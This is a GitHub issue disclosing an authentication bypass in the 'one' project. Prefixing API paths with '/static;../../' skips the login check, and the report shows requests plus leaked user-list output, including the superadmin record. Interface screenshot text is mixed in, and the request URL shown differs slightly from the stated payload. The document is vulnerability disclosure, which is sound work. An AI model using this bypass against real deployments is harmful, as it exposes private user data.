

New issue



There is an Incorrect Access Control vulnerability in one #44

Open



RacerZ-fighting opened on Mar 19



[Suggested description]

one was found to have an Incorrect Access Control vulnerability up to v1.0, resulting in information leakage.

[Vulnerability Type]

Incorrect access control

[Vendor of Product]

<https://github.com/lcw2004/one>

[Affected Product Code Base]

all version (v1.0)

[Affected Component]

sensitive APIs that require authentication

[Attack Type]

Remote

[Vulnerability details]

Directly send the payload below to the API `/api/user/manager` will fail because of the authentication.

```
GET /api/user/manager HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Apifox/1.0.0 (https://apifox.com)
Accept: */*
Host: 127.0.0.1:8080
Connection: keep-alive
Cookie: JSESSIONID=915CAEC0CF1BCEC8A316D41DEAFC8969
Referer: http://127.0.0.1:8080/api/user/manager
```



GET

http://127.0.0.1:8080/api/user/manager

RacerZ

Running at Mar 17, 2025 at 21:05:15

Params

Body 2

Headers

Cookies

Pre Processors

Post Processors

Auth

Settings

Query Params

Name	Value	Type	De
Add a new param			

Body

Cookies 1

Headers 3

Console

Actual Request •

Pretty

Raw

Preview

Visualize

JSON

utf8

1

{

2

"timestamp": "2025-03-19 12:11:32",

3

"status": 404,

4

"error": "Not Found",

5

"message": "No message available",

6

"path": "/login.html"

7

}

However, send the payload below to the API `/static;../../api/user/manager` will bypass the authentication.

GET http://127.0.0.1:8080/static/./api/user/manager

RacerZ Running at Mar 17, 2025 at 21:05:15

Params Body 2 Headers Cookies Pre Processors Post Processors Auth Settings

Query Params

Name	Value	Type	Description
Add a new param			

Body Cookies 1 Headers 3 Console Actual Request

Share

Pretty Raw Preview Visualize JSON utf8

200

```
1 {
2   "code": "0",
3   "message": "",
4   "data": {
5     "pageNo": 1,
6     "pageSize": 10,
7     "count": 2,
8     "pageCount": 1,
9     "list": [
10      {
11        "userId": "1",
12        "officeId": "3",
13        "remark": null,
14        "workNumber": "100001",
15        "password": null,
16        "userInfo": {
17          "userId": "1",
18          "account": "superadmin",
19          "name": "超级管理员",
20          "gender": null,
21          "birthday": null,
22          "identityNumber": null,
23          "type": 1,
24          "createIp": null,
25          "createTime": "2017-04-22 11:15:02",
26          "lastLoginIp": "127.0.0.1",
27          "lastLoginTime": "2017-05-23 23:58:56",
28          "status": 1,
29          "statusLabel": "正常",
30          "userContactInfo": {
31            "userId": "1",
32            "areaCode": null,
```

Sign up for free to join this conversation on GitHub. Already have an account? [Sign in to comment](#)

Assignees

No one assigned

Labels

No labels

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

 Code with Copilot Agent Mode

▼

No branches or pull requests

Participants

